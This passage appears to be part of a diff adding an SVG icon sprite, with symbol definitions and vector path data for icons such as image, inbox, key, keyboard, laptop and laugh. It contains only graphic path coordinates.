33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z"></path> + </symbol> + <symbol id="image" viewBox="0 0 512 512"> + <path d="M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z"></path> + </symbol> + <symbol id="images" viewBox="0 0 576 512"> + <path d="M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z"></path> + </symbol> + <symbol id="inbox" viewBox="0 0 576 512"> + <path d="M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z"></path> + </symbol> + <symbol id="indent" viewBox="0 0 448 512"> + <path d="M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="industry" viewBox="0 0 512 512"> + <path d="M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z"></path> + </symbol> + <symbol id="infinity" viewBox="0 0 640 512"> + <path d="M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z"></path> + </symbol> + <symbol id="info" viewBox="0 0 192 512"> + <path d="M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z"></path> + </symbol> + <symbol id="info-circle" viewBox="0 0 512 512"> + <path d="M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z"></path> + </symbol> + <symbol id="italic" viewBox="0 0 320 512"> + <path d="M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z"></path> + </symbol> + <symbol id="jedi" viewBox="0 0 576 512"> + <path d="M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z"></path> + </symbol> + <symbol id="joint" viewBox="0 0 640 512"> + <path d="M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z"></path> + </symbol> + <symbol id="journal-whills" viewBox="0 0 448 512"> + <path d="M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z"></path> + </symbol> + <symbol id="kaaba" viewBox="0 0 576 512"> + <path d="M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z"></path> + </symbol> + <symbol id="key" viewBox="0 0 512 512"> + <path d="M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z"></path> + </symbol> + <symbol id="keyboard" viewBox="0 0 576 512"> + <path d="M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"></path> + </symbol> + <symbol id="khanda" viewBox="0 0 512 512"> + <path d="M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z"></path> + </symbol> + <symbol id="kiss" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="kiss-beam" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z"></path> + </symbol> + <symbol id="kiss-wink-heart" viewBox="0 0 504 512"> + <path d="M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z"></path> + </symbol> + <symbol id="kiwi-bird" viewBox="0 0 576 512"> + <path d="M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z"></path> + </symbol> + <symbol id="landmark" viewBox="0 0 512 512"> + <path d="M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="language" viewBox="0 0 640 512"> + <path d="M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z"></path> + </symbol> + <symbol id="laptop" viewBox="0 0 640 512"> + <path d="M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"></path> + </symbol> + <symbol id="laptop-code" viewBox="0 0 640 512"> + <path d="M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"></path> + </symbol> + <symbol id="laptop-house" viewBox="0 0 640 512"> + <path d="M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z"></path> + </symbol> + <symbol id="laptop-medical" viewBox="0 0 640 512"> + <path d="M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="laugh" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z"></path> + </symbol> + <symbol id="laugh-beam" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 